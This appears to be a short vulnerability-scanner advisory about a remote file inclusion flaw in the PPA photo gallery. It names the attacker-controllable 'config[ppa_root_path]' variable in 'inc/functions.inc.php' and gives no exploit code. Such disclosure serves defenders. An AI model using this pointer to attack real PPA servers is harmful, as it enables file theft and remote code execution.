The remote host is running PPA, a free, PHP-based photo gallery.
The installed version of PPA allows remote attackers to control the ‘config[ppa_root_path]’ variable used when including PHP code in the ‘inc/functions.inc.php’ script. By leveraging this flaw, an attacker may be able to view arbitrary files on the remote host and execute arbitrary PHP code, possibly taken from third-party hosts.
